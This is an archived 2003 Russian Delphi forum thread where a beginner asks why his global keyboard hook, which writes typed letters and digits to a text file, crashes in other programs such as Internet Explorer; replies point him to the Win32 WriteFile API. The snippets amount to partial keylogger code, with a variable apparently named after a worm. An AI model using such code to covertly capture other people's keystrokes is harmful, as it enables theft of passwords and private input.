Форум: "Потрепаться";
Текущий архив: 2003.08.14;
Скачать: [xml.tar.bz2];
Внизhook и проблемма Найти похожие ветки
← →
Shluz (2003-06-15 12:24) [0]Уважаемые мастера!! Возникла такая проблема: создаю hook (размещается внутри программы..так надо)
, в процедуре ловушки KeyboardProc пишу :
...
assignfile(TxFile,"c:\File_Text.txt");
append(TxFile);
try
if ((wParam>=65) and(wParam<=90)) or ((wParam>=97) and(wParam<=122))or ((wParam>=48) and(wParam<=57)) then
writeln(WormFile,chr(wparam));
finally closefile(WormFile);
( напр. Iexplorer) Уважаемые мастера!! Возникла такая проблема: создаю hook (размещается внутри программы..так надо)
, в процедуре ловушки KeyboardProc пишу :
...
assignfile(TxFile,"c:\File_Text.txt");
append(TxFile);
try
if ((wParam>=65) and(wParam<=90)) or ((wParam>=97) and(wParam<=122))or ((wParam>=48) and(wParam<=57)) then
writeln(WormFile,chr(wparam));
finally closefile(WormFile);
end;
все работает только, если кнопки нажимаются в приложениях написанных на Delphi... в других (напр. Iexplorer) возникает
ошибка RT-error.. как это можно объяснить и как с этим бороться?
//может это и глупый вопрос, не судите строго, я начинающий(очень) :)
P.S. И еще вопросик :) Как записывать в файл таким же обрзом введенные символы, но через функцию WriteFile?
← →
Song (2003-06-15 12:28) [1]Не рекомендуется использовать RTL ф-ии в хуке. Пиши в файл через АПИ.
← →
Shluz (2003-06-15 12:43) [2]>song спасибо друг, я так и понял, что в РТЛ вся проблема, тока вот щас у меня сессия, голову клинит, а программку сделать надо :(
← →
Shluz (2003-06-15 12:47) [3]не могу понять как работает WriteFile (api), или может тут использовать файлы отображения надо.... тока я ими пользоваться не умею :)) мож кто отпишет кусочек кода для записи в файл? :)
← →
Song (2003-06-15 13:08) [4]OpenFile()
WriteFile()
CloseHandle()
← →
Shluz (2003-06-15 13:33) [5]>Song отпиши кусок кода если не трудно, а то, я с параметрами запутался...и как указатель переместить в конец файла?
← →
Song (2003-06-15 13:34) [6]мне лень :)
>>и как указатель переместить в конец файла?
FileSeek()
← →
Shluz (2003-06-15 13:36) [7]а этими процедурами можно обеспечивать одновременную работу с файлом нескольких процессов?
← →
Song (2003-06-15 13:43) [8]Смотря какие флаги укажешь в OpenFile()
← →
Shluz (2003-06-15 13:53) [9]блин, ну отпиши код :)я разберусь!!
← →
Burmistroff (2003-06-15 22:30) [10]var
d, q: DWORD;
fn: string;
by: pchar;
begin
GetMem(by, 1024);
d:=CreateFile("filename", GENERIC_WRITE, FILE_SHARE_READ+FILE_SHARE_WRITE+FILE_SHARE_DELETE, nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
by:="some thing";
WriteFile(d, by^, 6, q, nil);
CloseHandle(d);
FreeMem(by);
end;
← →
Shluz (2003-06-15 23:31) [11]> Burmistroff все стало ясно!! :) большое спасибо!!
Страницы: 1 вся ветка
Форум: "Потрепаться";
Текущий архив: 2003.08.14;
Скачать: [xml.tar.bz2];
Память: 0.46 MB
Время: 0.005 c